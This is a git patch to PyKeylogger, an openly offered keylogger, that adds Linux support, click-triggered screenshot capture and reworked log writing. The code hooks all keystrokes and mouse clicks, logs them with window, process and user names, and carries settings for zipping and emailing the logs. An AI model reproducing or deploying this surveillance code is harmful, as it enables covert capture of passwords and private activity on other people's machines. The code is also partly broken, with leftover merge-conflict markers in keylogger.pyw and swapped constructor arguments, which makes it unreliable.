From 5cd57df1fee3514f648d417abff99bc15b14080b Mon Sep 17 00:00:00 2001 From: nanotube Date: Wed, 19 Mar 2008 22:16:13 +0000 Subject: [PATCH] merge the linuxport branch into trunk --- CHANGELOG.TXT | 14 ++ MANIFEST | 18 --- imagecapture.py | 301 ++++++++++++++++++++++++++++++++++++++++ keylogger.pyw | 243 ++++++++++++++++++++++++-------- logwriter.py | 142 +++++++++++-------- make_all_dist.py | 2 + myutils.py | 23 ++-- pykeylogger.ini | Bin 7970 -> 8306 bytes pykeylogger.val | 20 ++- pyxhook.py | 352 +++++++++++++++++++++++++++++++++++++++++++++++ setup.py | 8 +- supportscreen.py | 94 ++++++++++++- tooltip.py | 4 +- version.py | 8 +- 14 files changed, 1065 insertions(+), 164 deletions(-) delete mode 100644 MANIFEST create mode 100644 imagecapture.py create mode 100644 pyxhook.py diff --git a/CHANGELOG.TXT b/CHANGELOG.TXT index 2d1ccf0..50b9d68 100644 --- a/CHANGELOG.TXT +++ b/CHANGELOG.TXT @@ -1,6 +1,20 @@ PyKeylogger Changelog --------------------- +----- +Version 1.0.1 (2008-03-19) + +*) Bugfix: now we properly detect the location of the program, so that relative log directories and ini/val file locations work properly. Before we relied on current directory being right, which is not always true. +*) Do some pre-processing on settings read from ini file, to make sure directories and filenames are 'legal'. +*) Prettify the about dialog + +----- +Version 1.0.0 (2008-03-11) + +*) Big news: thanks to a generous contributor (Tim Alexander), PyKeylogger now works on linux, with complete feature parity between the windows and linux versions. +*) New feature: PyKeylogger can now capture screenshots cropped around mouse clicks. +*) A few minor improvements/bugfixes and some code refactoring happened in the process of making the code cross-platform + ----- Version 0.9.4 (2008-03-04) diff --git a/MANIFEST b/MANIFEST deleted file mode 100644 index 57a877c..0000000 --- a/MANIFEST +++ /dev/null @@ -1,18 +0,0 @@ -CHANGELOG.TXT -LICENSE.txt -MANIFEST.in -README.txt -TODO.txt -controlpanel.py -keylogger.pyw -logwriter.py -make_all_dist.py -mytimer.py -mytkSimpleDialog.py -myutils.py -pykeylogger.ini -pykeylogger.val -setup.py -supportscreen.py -tooltip.py -version.py diff --git a/imagecapture.py b/imagecapture.py new file mode 100644 index 0000000..d7e0db2 --- /dev/null +++ b/imagecapture.py @@ -0,0 +1,301 @@ +############################################################################## +## +## PyKeylogger: Simple Python Keylogger for Windows +## Copyright (C) 2008 nanotube@users.sf.net +## +## http://pykeylogger.sourceforge.net/ +## +## This program is free software; you can redistribute it and/or +## modify it under the terms of the GNU General Public License +## as published by the Free Software Foundation; either version 3 +## of the License, or (at your option) any later version. +## +## This program is distributed in the hope that it will be useful, +## but WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +## GNU General Public License for more details. +## +## You should have received a copy of the GNU General Public License +## along with this program. If not, see . +## +############################################################################## + +import time +import threading +import Image +import Queue +import os +import os.path +import traceback +import re +import logging +import sys +import copy + +if os.name == 'nt': + import win32api, win32con, win32process + import ImageGrab +elif os.name == 'posix': + from Xlib import X, XK, display, error + from Xlib.ext import record + from Xlib.protocol import rq + +class ImageWriter(threading.Thread): + def __init__(self, settings, cmdoptions, queue): + + threading.Thread.__init__(self) + self.finished = threading.Event() + + self.cmdoptions = cmdoptions + self.settings = settings + self.q = queue + + self.createLogger() + + self.imagedimensions = Point(self.settings['Image Capture']['Capture Clicks Width'], self.settings['Image Capture']['Capture Clicks Height']) + + self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames. + + # Hook to our display. + if os.name == 'posix': + self.local_dpy = display.Display() + + #Make sure the image directory is there. If not, create it. + self.imagedir = os.path.join(self.settings['General']['Log Directory'], "images") + #~ originalDir = os.getcwd() + #~ os.chdir(self.settings['General']['Log Directory']) + try: + os.makedirs(self.imagedir, 0777) + except OSError, detail: + if(detail.errno==17): + pass + else: + self.logger.error("error creating click image directory", sys.exc_info()) + except: + self.logger.error("error creating click image directory", sys.exc_info()) + + #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3): + #self.captureclick() + + pass + + def createLogger(self): + + self.logger = logging.getLogger('imagewriter') + self.logger.setLevel(logging.DEBUG) + + # create the "debug" handler - output messages to the console, to stderr, if debug option is set + if self.cmdoptions.debug: + loglevel = logging.DEBUG + else: + loglevel = logging.WARN + + consolehandler = logging.StreamHandler() + consolehandler.setLevel(loglevel) + formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s') + consolehandler.setFormatter(formatter) + self.logger.addHandler(consolehandler) + + def PrintDebug(self, stuff, exc_info=False): + '''Write stuff to console. + ''' + self.logger.debug(stuff, exc_info=exc_info) + + def run(self): + while not self.finished.isSet(): + try: + event = self.q.get(timeout=0.05) + if event.MessageName.startswith("mouse left") or event.MessageName.startswith("mouse middle") or event.MessageName.startswith("mouse right"): + self.capture_image(event) + self.PrintDebug(self.print_event(event)) + except Queue.Empty: + pass + + def print_event(self, event): + '''prints event. need this because pyhook's event don't have a default __str__ method, + so we check for os type, and make it work on windows. + ''' + if os.name == 'posix': + return str(event) + if os.name == 'nt': + return "Window: " + str(event.Window) + "\nWindow Handle: " + str(event.WindowName) + "\nWindow's Process Name: " + self.getProcessName(event) + "\nPosition: " + str(event.Position) + "\nMessageName: " + str(event.MessageName) + "\n" + + def cancel(self): + self.finished.set() + + #def capturewindow(self, Window = None, start_x = 0, start_y = 0, width = None, height = None, saveto = "image.png"): + def capture_image(self, event): + + screensize = self.getScreenSize() + + # The cropbox will take care of making sure our image is within + # screen boundaries. + cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize) + cropbox.reposition(Point(event.Position[0], event.Position[1])) + + self.PrintDebug(cropbox) + + savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + ".png") + + if os.name == 'posix': + + AllPlanes = ~0 + + try: #cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename + raw = self.rootwin.get_image(cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, X.ZPixmap, AllPlanes) + Image.fromstring("RGBX", (cropbox.size.x, cropbox.size.y), raw.data, "raw", "BGRX").convert("RGB").save(savefilename) + return 0 + except error.BadDrawable: + print "bad drawable when attempting to get an image! Closed the window?" + except error.BadMatch: + print "bad match when attempting to get an image! probably specified an area outside the window (too big?)" + except error.BadValue: + print "getimage: bad value error - tell me about this one, I've not managed to make it happen yet" + except: + print traceback.print_exc() + + if os.name == 'nt': + img = ImageGrab.grab((cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x, cropbox.bottomright.y)) + img.save(savefilename) + + + def getScreenSize(self): + if os.name == 'posix': + self.rootwin = self.local_dpy.get_input_focus().focus.query_tree().root + if self.rootwin == 0: + self.rootwin = self.local_dpy.get_input_focus() + return Point(self.rootwin.get_geometry().width, self.rootwin.get_geometry().height) + if os.name == 'nt': + return Point(win32api.GetSystemMetrics(0), win32api.GetSystemMetrics (1)) + + def getProcessName(self, event): + '''Acquire the process name from the event window handle for use in the image filename. + On Linux, process name is a direct attribute of the event. + ''' + if os.name == 'nt': + hwnd = event.Window + try: + threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd) + + # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF) + + mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid) + procname = win32process.GetModuleFileNameEx(mypyproc, 0) + return procname + except: + #self.logger.error("Failed to get process info from hwnd.", exc_info=sys.exc_info()) + # this happens frequently enough - when the last event caused the closure of the window or program + # so we just return a nice string and don't worry about it. + return "noprocname" + elif os.name == 'posix': + return str(event.WindowProcName) + + #~ def captureclick(self, event): + #~ screensize = self.getScreenSize() + + #~ # The cropbox will take care of making sure our image is within + #~ # screen boundaries. + #~ cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize) + #~ cropbox.reposition(Point(event.Position[0], event.Position[1])) + + #~ self.savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y_%m_%d%_%H_%M_%S') + "_" + str(event.WindowProcName) + ".png") + + #~ try: + #~ self.capturewindow(self.rootwin, cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename) + #~ except: + #~ print "Encountered an error capturing the image for the window. Continuing anyway." + +class Point: + def __init__(self, x=0, y=0): + self.x = x + self.y = y + def move(self, xmove=0, ymove=0): + self.x = self.x + xmove + self.y = self.y + ymove + def __str__(self): + return "[" + str(self.x) + "," + str(self.y) + "]" + def __add__(self, other): + return Point(self.x+other.x, self.y+other.y) + def __sub__(self, other): + return Point(self.x - other.x, self.y - other.y) + + +class CropBox: + def __init__(self, topleft=Point(0,0), bottomright=Point(100,100), min=Point(0,0), max=Point(1600,1200)): + + self.topleft = copy.deepcopy(topleft) + self.bottomright = copy.deepcopy(bottomright) + self.min = copy.deepcopy(min) + self.max = copy.deepcopy(max) + self.size = self.bottomright - self.topleft + self.maxsize = self.max - self.min + # make sure our box is not bigger than the whole image + if (self.size.x > self.maxsize.x): + self.bottomright.x = self.bottomright.x - self.size.x + self.maxsize.x + if (self.size.y > self.maxsize.y): + self.bottomright.y = self.bottomright.y - self.size.y + self.maxsize.y + self.center = Point(self.size.x/2 + self.topleft.x, self.size.y/2 + self.topleft.y) + + def move(self, xmove=0, ymove=0): + # make sure we can't move beyond image boundaries + if (self.topleft.x + xmove < self.min.x): + xmove = self.topleft.x - self.min.x + if (self.topleft.y + ymove < self.min.y): + ymove = self.topleft.y - self.min.y + if (self.bottomright.x + xmove > self.max.x): + xmove = self.max.x - self.bottomright.x + if (self.bottomright.y + ymove > self.max.y): + ymove = self.max.y - self.bottomright.y + self.topleft.move(xmove, ymove) + self.bottomright.move(xmove, ymove) + self.center = Point(self.size.x/2 + self.topleft.x, self.size.y/2 + self.topleft.y) + #print self.center + + def reposition(self, newcenter = Point(500,500)): + motion = newcenter - self.center + self.move(motion.x, motion.y) + + def __str__(self): + return str(self.topleft) + str(self.bottomright) + +#~ def cropimage(imagesize=Point(1600,1200), cropboxsize = Point(100,100), centerpoint=Point(1500, 1500)): + #~ cropbox = CropBox(Point(0,0), cropboxsize, min=Point(0,0), max=imagesize) + #~ cropbox.move(centerpoint.x - cropbox.center.x, centerpoint.y - cropbox.center.y) + + #~ print cropbox + #~ print cropbox.center + +# im = ImageGrab.grab((x0, y0, x1, y1)) + + +if __name__ == '__main__': + + class CmdOptions: + def __init__(self, debug): + self.debug = debug + + cmdoptions = CmdOptions(True) + + q = Queue.Queue() + + class mouseevent: + pass + event = mouseevent() + event.Window = 655808 + event.WindowName = "WindowName" + event.WindowProcName = "WindowProcName" + event.Position = (400,400) + event.MessageName = "mouse left up" + + settings={} + settings['E-mail'] = {'SMTP Send Email':False} + settings['Log Maintenance'] = {'Delete Old Logs':False,'Flush Interval':1000,'Log Rotation Interval':4,'Delete Old Logs':False} + settings['Zip'] = {'Zip Enable':False} + settings['General'] = {'Log Directory':'logs','System Log':'None','Log Key Count':True} + settings['Image Capture'] = {'Capture Clicks Width':300,'Capture Clicks Height':300} + + iw = ImageWriter(cmdoptions, settings, q) + iw.start() + q.put(event) + time.sleep(5) + iw.cancel() \ No newline at end of file diff --git a/keylogger.pyw b/keylogger.pyw index 4094755..1f96377 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -20,15 +20,25 @@ ## ############################################################################## -import pyHook +import os +import os.path import time -import pythoncom import sys -import os -import imp # don't need this anymore? +if os.name == 'posix': + import pyxhook as hooklib +elif os.name == 'nt': + import pyHook as hooklib + import pythoncom +else: + print "OS is not recognised as windows or linux." + exit() + +#import imp # don't need this anymore? +import re from optparse import OptionParser import traceback from logwriter import LogWriter +from imagecapture import ImageWriter import version #import ConfigParser from configobj import ConfigObj @@ -38,6 +48,7 @@ from supportscreen import SupportScreen, ExpirationScreen import Tkinter, tkMessageBox import myutils import Queue +import threading class KeyLogger: ''' Captures all keystrokes, puts events in Queue for later processing @@ -45,85 +56,116 @@ class KeyLogger: ''' def __init__(self): - self.ParseOptions() - self.ParseConfigFile() + self.ParseOptions() # stored in self.cmdoptions + self.ParseConfigFile() # stored in self.settings self.ParseControlKey() self.NagscreenLogic() - self.q = Queue.Queue(0) - self.hm = pyHook.HookManager() - self.hm.KeyDown = self.OnKeyDownEvent - self.hm.KeyUp = self.OnKeyUpEvent + self.process_settings() + self.q_logwriter = Queue.Queue(0) + self.q_imagewriter = Queue.Queue(0) + self.lw = LogWriter(self.settings, self.cmdoptions, self.q_logwriter) + self.iw = ImageWriter(self.settings, self.cmdoptions, self.q_imagewriter) + if os.name == 'posix': + self.hashchecker = ControlKeyMonitor(self.cmdoptions, self.lw, self, self.ControlKeyHash) + + self.hm = hooklib.HookManager() if self.settings['General']['Hook Keyboard'] == True: self.hm.HookKeyboard() - #if self.options.hookMouse == True: - # self.hm.HookMouse() + self.hm.KeyDown = self.OnKeyDownEvent + self.hm.KeyUp = self.OnKeyUpEvent + + if self.settings['Image Capture']['Capture Clicks'] == True: + self.hm.HookMouse() + self.hm.MouseAllButtonsDown = self.OnMouseDownEvent - self.lw = LogWriter(self.settings, self.cmdoptions, self.q) + #if os.name == 'nt': self.panel = False + + #if self.options.hookMouse == True: + # self.hm.HookMouse() def start(self): self.lw.start() - pythoncom.PumpMessages() - + self.iw.start() + if os.name == 'nt': + pythoncom.PumpMessages() + if os.name == 'posix': + self.hashchecker.start() + self.hm.start() + + def process_settings(self): + '''Process some settings values to correct for user input errors, + and to detect proper full path of the log directory. + + We can change things in the settings configobj with impunity here, + since the control panel process get a fresh read of settings from file + before doing anything. + ''' + + if os.path.isabs(self.settings['General']['Log Directory']): + self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory']) + else: + self.settings['General']['Log Directory'] = os.path.join(myutils.get_main_dir(), os.path.normpath(self.settings['General']['Log Directory'])) + + self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames. + self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File']) + self.settings['General']['System Log'] = self.filter.sub(r'__',self.settings['General']['System Log']) + + # todo: also want to run imagesdirectoryname (tbc) through self.filter + def ParseControlKey(self): - #~ self.controlKeyList = self.settings['General']['Control Key'].split(';') - #~ self.controlKeyList = [item.capitalize() for item in self.controlKeyList] - #~ self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList])) self.ControlKeyHash = ControlKeyHash(self.settings['General']['Control Key']) - #~ def MaintainControlKeyHash(self, event, updown): - #~ if updown == 'Down' and event.Key in self.controlKeyHash.keys(): - #~ self.controlKeyHash[event.Key] = True - #~ if updown == 'Up' and event.Key in self.controlKeyHash.keys(): - #~ self.controlKeyHash[event.Key] = False - - #~ def CheckForControlEvent(self): - #~ if self.cmdoptions.debug: - #~ self.lw.PrintDebug("control key status: " + str(self.controlKeyHash)) - #~ if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]: - #~ return True - #~ else: - #~ return False - def OnKeyDownEvent(self, event): '''This function is the stuff that's supposed to happen when a key is pressed. - Puts the event in queue, and passes it on. - Starts control panel if proper key is pressed. + Puts the event in queue, + Updates the control key combo status, + And passes the event on to the system. ''' - #self.lw.WriteToLogFile(event) - self.q.put(event) - #self.MaintainControlKeyHash(event, 'Down') + self.q_logwriter.put(event) + self.ControlKeyHash.update(event) - #~ if self.CheckForControlEvent(): if self.cmdoptions.debug: self.lw.PrintDebug("control key status: " + str(self.ControlKeyHash)) - if self.ControlKeyHash.check(): - if not self.panel: - self.lw.PrintDebug("starting panel") - self.panel = True - self.ControlKeyHash.reset() - PyKeyloggerControlPanel(self.cmdoptions, self) - - #~ if event.Key == self.settings['General']['Control Key']: - #~ if not self.panel: - #~ self.lw.PrintDebug("starting panel\n") - #~ self.panel = True - #~ PyKeyloggerControlPanel(self.cmdoptions, self) - + + # have to open the panel from main thread on windows, otherwise it hangs. + # possibly due to some interaction with the python message pump and tkinter? + # + # on linux, on the other hand, doing it from a separate worker thread is a must + # since the pyxhook module blocks until panel is closed, so we do it with the + # hashchecker thread instead. + if os.name == 'nt': + if self.ControlKeyHash.check(): + if not self.panel: + self.lw.PrintDebug("starting panel") + self.panel = True + self.ControlKeyHash.reset() + PyKeyloggerControlPanel(self.cmdoptions, self) + return True def OnKeyUpEvent(self,event): - #self.MaintainControlKeyHash(event, 'Up') self.ControlKeyHash.update(event) return True + def OnMouseDownEvent(self,event): + self.q_imagewriter.put(event) + return True + def stop(self): '''Exit cleanly. ''' + + if os.name == 'posix': + self.hm.cancel() + self.hashchecker.cancel() self.lw.cancel() + self.iw.cancel() + + #print threading.enumerate() sys.exit() def ParseOptions(self): @@ -147,7 +189,12 @@ class KeyLogger: Give detailed error box and exit if validation on the config file fails. ''' - + + if not os.path.isabs(self.cmdoptions.configfile): + self.cmdoptions.configfile = os.path.join(myutils.get_main_dir(), self.cmdoptions.configfile) + if not os.path.isabs(self.cmdoptions.configval): + self.cmdoptions.configval = os.path.join(myutils.get_main_dir(), self.cmdoptions.configval) + self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False) # validate the config file @@ -200,17 +247,57 @@ class KeyLogger: sys.exit() class ControlKeyHash: + '''Encapsulates the control key dictionary which is used to keep + track of whether the control key combo has been pressed. + ''' def __init__(self, controlkeysetting): + + #~ lin_win_dict = {'Alt_L':'Lmenu', + #~ 'Alt_R':'Rmenu', + #~ 'Control_L':'Lcontrol', + #~ 'Control_R':'Rcontrol', + #~ 'Shift_L':'Lshift', + #~ 'Shift_R':'Rshift', + #~ 'Super_L':'Lwin', + #~ 'Super_R':'Rwin'} + + lin_win_dict = {'Alt_l':'Lmenu', + 'Alt_r':'Rmenu', + 'Control_l':'Lcontrol', + 'Control_r':'Rcontrol', + 'Shift_l':'Lshift', + 'Shift_r':'Rshift', + 'Super_l':'Lwin', + 'Super_r':'Rwin', + 'Page_up':'Prior'} + + win_lin_dict = dict([(v,k) for (k,v) in lin_win_dict.iteritems()]) + self.controlKeyList = controlkeysetting.split(';') + + # capitalize all items for greater tolerance of variant user inputs + self.controlKeyList = [item.capitalize() for item in self.controlKeyList] + # remove duplicates + self.controlKeyList = list(set(self.controlKeyList)) + + # translate linux versions of key names to windows, or vice versa, + # depending on what platform we are on. if os.name == 'nt': - self.controlKeyList = [item.capitalize() for item in self.controlKeyList] + for item in self.controlKeyList: + if item in lin_win_dict.keys(): + self.controlKeyList[self.controlKeyList.index(item)] = lin_win_dict[item] + elif os.name == 'posix': + for item in self.controlKeyList: + if item in win_lin_dict.keys(): + self.controlKeyList[self.controlKeyList.index(item)] = lin_win_dict[item] + self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList])) def update(self, event): - if event.MessageName == 'key down' and event.Key in self.controlKeyHash.keys(): - self.controlKeyHash[event.Key] = True - if event.MessageName == 'key up' and event.Key in self.controlKeyHash.keys(): - self.controlKeyHash[event.Key] = False + if event.MessageName == 'key down' and event.Key.capitalize() in self.controlKeyHash.keys(): + self.controlKeyHash[event.Key.capitalize()] = True + if event.MessageName == 'key up' and event.Key.capitalize() in self.controlKeyHash.keys(): + self.controlKeyHash[event.Key.capitalize()] = False def reset(self): for key in self.controlKeyHash.keys(): @@ -225,10 +312,48 @@ class ControlKeyHash: def __str__(self): return str(self.controlKeyHash) +class ControlKeyMonitor(threading.Thread): + '''Polls the control key hash status periodically, to see if + the control key combo has been pressed. Brings up control panel if it has. + ''' + def __init__(self, cmdoptions, logwriter, mainapp, controlkeyhash): + threading.Thread.__init__(self) + self.finished = threading.Event() + + # panel flag - true if panel is up, false if not + # this way we don't start a second panel instance when it's already up + #self.panel=False + + self.lw = logwriter + self.mainapp = mainapp + self.cmdoptions = cmdoptions + self.ControlKeyHash = controlkeyhash + + def run(self): + while not self.finished.isSet(): + if self.ControlKeyHash.check(): + if not self.mainapp.panel: + self.lw.PrintDebug("starting panel") + self.mainapp.panel = True + self.ControlKeyHash.reset() + PyKeyloggerControlPanel(self.cmdoptions, self.mainapp) + time.sleep(0.05) + + def cancel(self): + self.finished.set() + + if __name__ == '__main__': kl = KeyLogger() kl.start() #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options. - \ No newline at end of file + ======= + + kl = KeyLogger() + kl.start() + + #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options. + +>>>>>>> 1.29.2.14 diff --git a/logwriter.py b/logwriter.py index d78265e..a75e41d 100644 --- a/logwriter.py +++ b/logwriter.py @@ -20,11 +20,18 @@ ## ############################################################################## -import win32api, win32con, win32process -import os, os.path +import os +import os.path +import sys +if os.name == 'posix': + pass +elif os.name == 'nt': + import win32api, win32con, win32process +else: + print "OS is not recognised as windows or linux" + sys.exit() import time import re -import sys import Queue import traceback import threading @@ -38,7 +45,7 @@ import mytimer # the following are needed for zipping the logfiles import zipfile - + # the following are needed for automatic emailing import smtplib @@ -76,7 +83,7 @@ class LogWriter(threading.Thread): self.settings = settings self.cmdoptions = cmdoptions - self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames. + self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames. self.createLogger() #self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory']) @@ -99,13 +106,8 @@ class LogWriter(threading.Thread): # initialize the automatic log flushing timer self.flushtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer"]) self.flushtimer.start() - - #~ # start the event queue processing - #~ self.queuetimer = mytimer.MyTimer(1, 1, self.start) - #~ self.queuetimer.start() - + # initialize some automatic zip stuff - #self.settings['Zip']['ziparchivename'] = "log_[date].zip" if self.settings['Zip']['Zip Enable'] == True: self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles) self.ziptimer.start() @@ -152,7 +154,7 @@ class LogWriter(threading.Thread): self.logger.error("error creating log directory", exc_info=sys.exc_info()) if self.settings['General']['System Log'] != 'None': - systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.filter.sub(r'__',self.settings['General']['System Log'])) + systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log']) systemloghandler = logging.FileHandler(systemlogpath) systemloghandler.setLevel(logging.DEBUG) systemloghandler.setFormatter(formatter) @@ -170,7 +172,7 @@ class LogWriter(threading.Thread): ## if we are logging keystroke count, that field becomes the penultimate field. ## ## event data: ascii if normal key, escaped if "special" key, escaped if csv separator - ## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath + ## self.processName = self.GetProcessName(event.Window) #fullapppath ## hwnd = event.Window ## username = os.environ['USERNAME'] ## date = time.strftime('%Y%m%d') @@ -188,9 +190,9 @@ class LogWriter(threading.Thread): while not self.finished.isSet(): try: - event = self.q.get() - - loggable = self.TestForNoLog(event) # see if the program is in the no-log list. + event = self.q.get(timeout=0.5) #need the timeout so that thread terminates properly when exiting + #print event + loggable = self.TestForNoLog(event) # see if the program is in the no-log list. if not loggable: if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n") continue @@ -202,7 +204,7 @@ class LogWriter(threading.Thread): eventlisttmp = [time.strftime('%Y%m%d'), time.strftime('%H%M'), - self.GetProcessNameFromHwnd(event.Window), + self.GetProcessName(event), str(event.Window), os.getenv('USERNAME'), str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')] @@ -221,13 +223,12 @@ class LogWriter(threading.Thread): self.eventlist = eventlisttmp ## don't need this with infinite timeout? except Queue.Empty: - self.PrintDebug("\nempty queue...\n") pass #let's keep iterating except: self.PrintDebug("some exception was caught in the logwriter loop...\nhere it is:\n", sys.exc_info()) pass #let's keep iterating - self.finished.set() + self.finished.set() #shouldn't ever need this, but just in case... def ParseEventValue(self, event): '''Pass the event ascii value through the requisite filters. @@ -252,7 +253,7 @@ class LogWriter(threading.Thread): # need to parse the returns, so as not to break up the delimited data lines if event.Ascii == 13: return(npchrstr) - + #we translate all the special keys, such as arrows, backspace, into text strings for logging #exclude shift keys, because they are already represented (as capital letters/symbols) if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')): @@ -278,10 +279,10 @@ class LogWriter(threading.Thread): '''This function returns False if the process name associated with an event is listed in the noLog option, and True otherwise.''' - self.processName = self.GetProcessNameFromHwnd(event.Window) + self.processName = self.GetProcessName(event) if self.settings['General']['Applications Not Logged'] != 'None': for path in self.settings['General']['Applications Not Logged'].split(';'): - if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path + if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path return False return True @@ -314,7 +315,7 @@ class LogWriter(threading.Thread): for fname in files: #if fname != self.settings['ziparchivename']: if not self.CheckIfZipFile(fname): - myzip.write(os.path.join(root,fname).split("\\",1)[1]) + myzip.write(os.path.join(root,fname).split(os.sep,1)[1]) myzip.close() myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED) @@ -322,16 +323,18 @@ class LogWriter(threading.Thread): self.PrintDebug("Warning: Zipfile did not pass check.\n") myzip.close() + # chdir back + os.chdir(originalDir) + + # write the name of the last completed zip file # so that we can check against this when emailing or ftping, to make sure # we do not try to transfer a zipfile which is in the process of being created + ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w') ziplog.write(zipFileName) ziplog.close() - # chdir back - os.chdir(originalDir) - #now we can delete all the logs that have not been modified since we made the zip. self.DeleteOldLogs(zipFileRawTime) @@ -475,8 +478,8 @@ class LogWriter(threading.Thread): # do stuff only if file is closed. if it is open, we don't have to do anything at all, just return true. if self.log == None: # Filter out any characters that are not allowed as a windows filename, just in case the user put them into the config file - self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File']) - self.writeTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File'])) + #self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File']) + self.writeTarget = os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File']) try: self.log = open(self.writeTarget, 'a') self.PrintDebug("writing to: " + self.writeTarget) @@ -519,7 +522,7 @@ class LogWriter(threading.Thread): Then, openlogfile will take care of opening a fresh logfile by itself.''' if self.log != None: - rotateTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File'])) + rotateTarget = os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File']) self.PrintDebug("\nRenaming\n" + self.writeTarget + "\nto\n" + rotateTarget + "\n") self.log.close() self.log = None @@ -547,7 +550,7 @@ class LogWriter(threading.Thread): elif type(lastmodcutoff) == float: testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff - if fname == "emaillog.txt" or fname == "ziplog.txt": + if fname == "emaillog.txt" or fname == "ziplog.txt" or fname == self.settings['General']['Log File']: testvalue = False # we don't want to delete these if type(lastmodcutoff) == float and self.CheckIfZipFile(fname): @@ -563,16 +566,26 @@ class LogWriter(threading.Thread): except: self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") - def GetProcessNameFromHwnd(self, hwnd): + def GetProcessName(self, event): '''Acquire the process name from the window handle for use in the log filename. ''' - threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd) - - # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF) - - mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid) - procname = win32process.GetModuleFileNameEx(mypyproc, 0) - return procname + if os.name == 'nt': + hwnd = event.Window + try: + threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd) + + # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF) + + mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid) + procname = win32process.GetModuleFileNameEx(mypyproc, 0) + return procname + except: + #self.logger.error("Failed to get process info from hwnd.", exc_info=sys.exc_info()) + # this happens frequently enough - when the last event caused the closure of the window or program + # so we just return a nice string and don't worry about it. + return "noprocname" + elif os.name == 'posix': + return str(event.WindowProcName) def cancel(self): '''To exit cleanly, flush all write buffers, and stop all running timers. @@ -585,34 +598,51 @@ class LogWriter(threading.Thread): self.WriteToLogFile() self.FlushLogWriteBuffers("Flushing buffers prior to exiting") logging.shutdown() - self.flushtimer.cancel() + self.flushtimer.cancel() self.logrotatetimer.cancel() if self.settings['E-mail']['SMTP Send Email'] == True: self.emailtimer.cancel() if self.settings['Log Maintenance']['Delete Old Logs'] == True: self.oldlogtimer.cancel() - #~ if self.settings['Timestamp']['Timestamp Enable'] == True: - #~ self.timestamptimer.cancel() if self.settings['Zip']['Zip Enable'] == True: self.ziptimer.cancel() - - + if __name__ == '__main__': #some testing code #put a real existing hwnd into event.Window to run test - #this testing code is now really outdated and useless. - lw = LogWriter() - class Blank: - pass - event = Blank() - event.Window = 264854 - event.WindowName = "Untitled - Notepad" - event.Ascii = 65 - event.Key = 'A' - options = Blank() - options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False - 